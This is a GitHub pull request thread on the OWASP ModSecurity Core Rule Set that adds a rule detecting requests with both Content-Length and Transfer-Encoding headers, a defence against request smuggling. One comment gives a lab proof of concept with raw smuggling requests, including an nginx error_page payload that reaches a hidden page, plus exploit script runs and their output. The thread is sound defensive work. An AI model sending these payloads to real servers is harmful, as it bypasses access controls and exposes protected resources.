Skip to content
This repository has been archived by the owner on May 14, 2020. It is now read-only.

Rule to check if both C-L and T-E are present #1310

Merged
merged 1 commit into from
Mar 2, 2020

Conversation

fgsch
Copy link
Contributor

@fgsch fgsch commented Feb 18, 2019

SSIA.

@fgsch fgsch force-pushed the cl_te-rule branch 3 times, most recently from 00f7f63 to 649c3b5 Compare February 18, 2019 12:57
@dune73
Copy link
Contributor

dune73 commented Feb 18, 2019

Nice rule. Thank you. Two questions:

Strict sibling?

I think this is not really a strict sibling, so I think it should get it's proper independent rule id ending in 0.

Comment?

The test says:

              # Apache unsets the Content-Length header if
              # Transfer-Encoding is found!
              no_log_contains: id "920181"

Could you explain this and what it means for the rule?

@fgsch
Copy link
Contributor Author

fgsch commented Feb 18, 2019

It says "related to" but I can remove the comment and have a separate id, though I wanted to keep them close since they are really related.

As for the test, apache silently removes the Content-Length header so the test fails. I think this is wrong in many accounts but that aside, the rules are not apache specific and the tests should cover them. By leaving the test enable we have the chance to find out how other consumers of these rules behave and whether we should update them.

@dune73
Copy link
Contributor

dune73 commented Mar 4, 2019

Monthly chat: Apache blocks this from happening anyways and we're not sure what NGINX is doing. Maybe the rule is redundant on all webservers. So we'll put it on hold and @fgsch checks out NGINX.

@dune73 dune73 added the On Hold label Mar 4, 2019
@fgsch fgsch added On Hold and removed On Hold labels Mar 4, 2019
@fgsch
Copy link
Contributor Author

fgsch commented Mar 7, 2019

Closing for now. Will reopen when I have an update.

@fgsch fgsch closed this Mar 7, 2019
@dune73 dune73 reopened this Sep 27, 2019
@dune73
Copy link
Contributor

dune73 commented Sep 27, 2019

I do not remember why we came to the conclusion that Apache blocks this, because it does not according to my tests today.

@fgsch
Copy link
Contributor Author

fgsch commented Sep 27, 2019

Rebased against 3.3/dev and updated.

@fgsch
Copy link
Contributor Author

fgsch commented Oct 7, 2019

Meeting's outcome:

Come up with RL bypasses, then we do unit tests and then we write rules to protect against it.

@theMiddleBlue
Copy link
Contributor

theMiddleBlue commented Jan 9, 2020

Hi,

I can confirm that the @fgsch rule works as expected on Nginx + v3. It should be useful to add more rules to cover others request smuggling scenario (for example, request smuggling on nginx error_page published on December 2019: https://bertjwregeer.keybase.pub/2019-12-10%20-%20error_page%20request%20smuggling.pdf)

I made a working PoC to fire the @fgsch rule that you can run on your docker. There's a script to test the Nginx request smuggling on error_page too:

$ git clone https://github.com/theMiddleBlue/OWASP-CRS-PoC.git
$ cd OWASP-CRS-PoC/request-smuggling/
$ bash start.sh -p 1310

[*] Build and run all containers
...
[*] CRS Ready.
[*] Pull all changes from OWASP CRS remote repository
[*] Checkout Pull Request 1310
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Total 9 (delta 7), reused 7 (delta 7), pack-reused 2
Unpacking objects: 100% (9/9), done.
From https://github.com/SpiderLabs/owasp-modsecurity-crs
 * [new ref]         refs/pull/1310/head -> owasp-crs-poc-temp-branch
Switched to branch 'owasp-crs-poc-temp-branch'
[*] Restarting CRS container
[*] CRS Ready.
[*] Done.

Exploit 1: Fire rule 920181

The request I use to fire 920181 is:

POST /a HTTP/1.1
Host: test
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Transfer-Encoding: chunked

1
a
0

You can execute the bash script inside the exploit/ directory:

$ bash exploit/smuggling_fire_920181.sh

Exploit 1: Audit Log

# cat logs/audit/*/*/* | jq
{
  "transaction": {
    "client_ip": "172.16.7.1",
    "time_stamp": "Thu Jan  9 10:33:58 2020",
    "server_id": "d6a09b62fa436668256de5d3b8a4c859eb8cfb77",
    "client_port": 51782,
    "host_ip": "172.16.7.26",
    "host_port": 80,
    "unique_id": "157856243815.462115",
    "request": {
      "method": "POST",
      "http_version": 1.1,
      "uri": "/a",
      "body": "a",
      "headers": {
        "Host": "test",
        "Content-Type": "application/x-www-form-urlencoded",
        "Transfer-Encoding": "chunked",
        "Content-Length": "11"
      }
    },
    "response": {
      "body": "",
      "http_code": 200,
      "headers": {}
    },
    "producer": {
      "modsecurity": "ModSecurity v3.0.3 (Linux)",
      "connector": "ModSecurity-nginx v1.0.0",
      "secrules_engine": "DetectionOnly",
      "components": [
        "OWASP_CRS/3.2.0\""
      ]
    },
    "messages": [
      {
        "message": "Content-Length and Transfer-Encoding headers present.",
        "details": {
          "match": "Matched \"Operator `Eq' with parameter `0' against variable `REQUEST_HEADERS:Content-Length' (Value: `1' )",
          "reference": "",
          "ruleId": "920181",
          "file": "/opt/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf",
          "lineNumber": "247",
          "data": "",
          "severity": "4",
          "ver": "OWASP_CRS/3.2.0",
          "rev": "",
          "tags": [
            "application-multi",
            "language-multi",
            "platform-multi",
            "attack-protocol",
            "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ",
            "CAPEC-272"
          ],
          "maturity": "0",
          "accuracy": "0"
        }
      }
    ]
  }
}

Exploit 2: Nginx request smuggling on error_page

Request:

GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /hidden/index.html HTTP/1.1
Host: notlocalhost

exploit script

# bash exploit/smuggling_get.sh 
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Thu, 09 Jan 2020 09:55:56 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.com

<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Thu, 09 Jan 2020 09:55:56 GMT
Content-Type: text/html
Content-Length: 31
Connection: keep-alive

Port 80: This should be hidden!

This should be blocked by 920170 but, due to the Nginx, the phase:2 is not evaluated with this specific configuration. For that reason, If you agree I would like to move all rules on REQUEST-920-PROTOCOL-ENFORCEMENT.conf that are unnecessarily on phase:2 (those rules that check only on request header part) to phase:1.

@spartantri
Copy link
Contributor

Nice PoC @theMiddleBlue , why not making copies instead of moving to phase 1? phase 1 rules inside apache locations don't work so under some circumstances those can be completely ignored.

@theMiddleBlue
Copy link
Contributor

thanks @spartantri !

phase 1 rules inside apache locations don't work so under some circumstances those can be completely ignored.

ouch, didn't know about it. With "apache locations" you mean <Location "/dir/"> ?

@theMiddleBlue
Copy link
Contributor

need to be rebased before merge, I'll do it in the next few days.

@dune73
Copy link
Contributor

dune73 commented Feb 11, 2020

As @theMiddleBlue menti0oned above, we decided to merge this. It is meant as a first step towards mitigation of request smuggling / HTTP splitting attacks. Merge, so the table is clean and work can continue.

Meeting minutes: #1671 (comment)

@fgsch
Copy link
Contributor Author

fgsch commented Feb 12, 2020

Hope you don't mind I've rebased this now.

@dune73
Copy link
Contributor

dune73 commented Feb 12, 2020

So we're waiting for a fix to Travis and then we'll merge if green.

@dune73
Copy link
Contributor

dune73 commented Mar 2, 2020

Travis fails on 942350-2.

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
Development

Successfully merging this pull request may close these issues.

6 participants